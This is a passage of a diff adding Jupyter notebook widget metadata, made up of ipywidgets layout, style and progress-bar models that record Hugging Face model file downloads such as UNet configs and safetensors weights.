+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "ProgressView",
+            "bar_style": "success",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_ec96bfae8c9c48e5827755ce0e8a885f",
+            "max": 541,
+            "min": 0,
+            "orientation": "horizontal",
+            "style": "IPY_MODEL_0c6beb3311554ae1b3bea23eadf8620d",
+            "value": 541
+          }
+        },
+        "ad63323795ae48679bb40de0056219d3": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HBoxModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HBoxModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HBoxView",
+            "box_style": "",
+            "children": [
+              "IPY_MODEL_4cb413851dc3469a8ea04e40373b11de",
+              "IPY_MODEL_21549aef7c6f4c64b8eb676c6dd105e2",
+              "IPY_MODEL_7cd3b5a0ce274ae5b5954a3c7d9d3bb4"
+            ],
+            "layout": "IPY_MODEL_4a3a0d14e22f4a6e9dbb5fb35bc33e8d"
+          }
+        },
+        "ad785ec6b7924f2ebcdf0957a16c656d": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "ProgressStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "ProgressStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "bar_color": null,
+            "description_width": ""
+          }
+        },
+        "aec13914c37649feb868b8f531a07a83": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_fd3e1648c2b84f5f81cd7ee3d2fbc4c0",
+            "placeholder": "​",
+            "style": "IPY_MODEL_25d1091281ad407c833a36c7e421e1e2",
+            "value": "Downloading (…)lve/main/config.json: 100%"
+          }
+        },
+        "af113f9b9b1749f0a856b3f371f03a2d": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_72fc016402374ad996a292470fa75906",
+            "placeholder": "​",
+            "style": "IPY_MODEL_4ec20db88a97441982a914517888a8b4",
+            "value": "Downloading (…)ch_model.safetensors: 100%"
+          }
+        },
+        "af944c373890491698424b1ca1c6969b": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_b82b0f73fa4d4fc395d106930015c7a0",
+            "placeholder": "​",
+            "style": "IPY_MODEL_bd3c80a835d242d19fe187d65e737d6c",
+            "value": " 308/308 [00:00&lt;00:00, 2.39kB/s]"
+          }
+        },
+        "b08e7b6e25c24054ac5b2b18bcb6f2ae": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "b09e0313ea6d461e99ee9e2778639310": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "FloatProgressModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "FloatProgressModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "ProgressView",
+            "bar_style": "success",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_b20aec5624874591a63b0d0f3d4daeda",
+            "max": 308,
+            "min": 0,
+            "orientation": "horizontal",
+            "style": "IPY_MODEL_aa79187007a448a381f604ea8b5be0ba",
+            "value": 308
+          }
+        },
+        "b1659a9d5e294f9bbc1b20e892e16326": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "b1da7b0efaaf4db4a7660bc5457f2bfa": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_1daa130f38a84c6d9a4149536b21927e",
+            "placeholder": "​",
+            "style": "IPY_MODEL_bf14652b43264c2b884e2d19786d6f5e",
+            "value": "Downloading (…)e6a/unet/config.json: 100%"
+          }
+        },
+        "b20aec5624874591a63b0d0f3d4daeda": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "b2efd56d5e834196818f46a7b287c2c3": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "FloatProgressModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "FloatProgressModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "ProgressView",
+            "bar_style": "success",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_058220c3342b49e0bcc1f0973566ac72",
+            "max": 1059962,
+            "min": 0,
+            "orientation": "horizontal",
+            "style": "IPY_MODEL_7db99c4ea5e14e9bb5180a5beb4cc142",
+            "value": 1059962
+          }
+        },
+        "b2fad15effb84bce8aac9b9d2bf94b19": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_4e264753749d48a8aab85b9f8fe30aba",
+            "placeholder": "​",
+            "style": "IPY_MODEL_014e701444c54eee97d0b36ea38344ab",
+            "value": " 147M/147M [00:00&lt;00:00, 306MB/s]"
+          }
+        },
+        "b3418378805c4029aa6e6b939ae3c84b": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "b3967f91f621495cb1715427fcc57011": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_d4b746bc99074570a82175ef438cfb10",
+            "placeholder": "​",
+            "style": "IPY_MODEL_8f92d6ba8bd04fabb8e6dddf0c7dfa44",
+            "value": " 920/920 [00:00&lt;00:00, 22.7kB/s]"
+          }
+        },
+        "b3bd2d853e02483080ff7dfbd5b448e0": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HBoxModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HBoxModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HBoxView",
+            "box_style": "",
+            "children": [
+              "IPY_MODEL_55f31f27ce954a0c8c0d1e63938c7bc0",
+              "IPY_MODEL_40ef1d0b44164265bea4eea32ce1b907",
+              "IPY_MODEL_3da34455151b42319fc32e56afeb7959"
+            ],
+            "layout": "IPY_MODEL_1bf842268bf64cadbf2bda6da0d4a690"
+          }
+        },
+        "b3d9135383894e049a5f6f7fc77d7b5a": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HBoxModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HBoxModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HBoxView",
+            "box_style": "",
+            "children": [
+              "IPY_MODEL_a97373cd0b29464dac7d2b3bfe3aa276",
+              "IPY_MODEL_10bfbe36a3e24b30a6e300e852ff7811",
+              "IPY_MODEL_af944c373890491698424b1ca1c6969b"
+            ],
+            "layout": "IPY_MODEL_3b250841cf664fcd8a57fb25d23b29ee"
+          }
+        },
+        "b4e865be02fb4290849b676f4dd18ed0": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "b539338d7bf84f50a8c57f90986a8d9a": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "b54312c4603b400b97884eba33ad1095": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "b5462a2b462147899d82f6b4617cf781": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "b57cb9d64aa44f748fc6cffc6f95f5a3": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HBoxModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HBoxModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HBoxView",
+            "box_style": "",
+            "children": [
+              "IPY_MODEL_335f1c1d85ec4723b8796b79d518c7be",
+              "IPY_MODEL_e9ef39e82cf645e396daea04a1e178f1",
+              "IPY_MODEL_97570891602f4963bdfaacd309438ca7"
+            ],
+            "layout": "IPY_MODEL_036af165dae748a19a3691dbe74e7a1a"
+          }
+        },
+        "b57f5b94be66435fab8e8aa9b877848c": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "b5a39dc5eccf4747ade601d25681c2b2": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HBoxModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HBoxModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HBoxView",
+            "box_style": "",
+            "children": [
+              "IPY_MODEL_1ce482eed7dd4a62b5c97b7fae38f392",
+              "IPY_MODEL_f566fa59f127470087bb68beea6ee8fb",
+              "IPY_MODEL_6c0b26e65230468cb5ef11d3d0bf1bd3"
+            ],
+            "layout": "IPY_MODEL_aa4097be74c3412eb9571ed6ef250828"
+          }
+        },
+        "b6c5549bd95644ad9e553c2e59199f04": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "FloatProgressModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "FloatProgressModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "ProgressView",
+            "bar_style": "success",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_c0771d4d9b7242c4a1b6ea8954e9e96e",
+            "max": 524619,
+            "min": 0,
+            "orientation": "horizontal",
+            "style": "IPY_MODEL_682a337dc14e48908be4cf40f7320d1f",
+            "value": 524619
+          }
+        },
+        "b6f79be711a94896ba08b0af7293cd04": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_182d76403d844b96bd20c3a7c49b4357",
+            "placeholder": "​",
+            "style": "IPY_MODEL_c81fe2532ac14ae6a5411a866f8e42ac",
+            "value": "Fetching 13 files: 100%"
+          }
+        },
+        "b74532a8bd8e49f2a8286a1eed72a0d3": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "b82b0f73fa4d4fc395d106930015c7a0": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "b84453116ba14690b8ae8a8e723f8510": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_b54312c4603b400b97884eba33ad1095",
+            "placeholder": "​",
+            "style": "IPY_MODEL_b93ed8d01dbd4e0a84ff01b2e15f68ec",
+            "value": "Downloading (…)ch_model.safetensors: 100%"
+          }
+        },
+        "b87077da3f824478ac88369582d77e8e": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "b8a38cb7b914460caf5f190692f5b935": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HBoxModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HBoxModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HBoxView",
+            "box_style": "",
+            "children": [
+              "IPY_MODEL_633f3db9f5dd4f6984aa821a1717c03b",
+              "IPY_MODEL_c184aabb31504cbd8361a9ab06899438",
+              "IPY_MODEL_5c428d2de97f4bc28835ead1f6331e9e"
+            ],
+            "layout": "IPY_MODEL_229a1efdf3df4fe9aac07562774b084b"
+          }
+        },
+        "b93ed8d01dbd4e0a84ff01b2e15f68ec": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "b9df58ad481f414f8240ce076cf53363": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "ProgressStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "ProgressStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
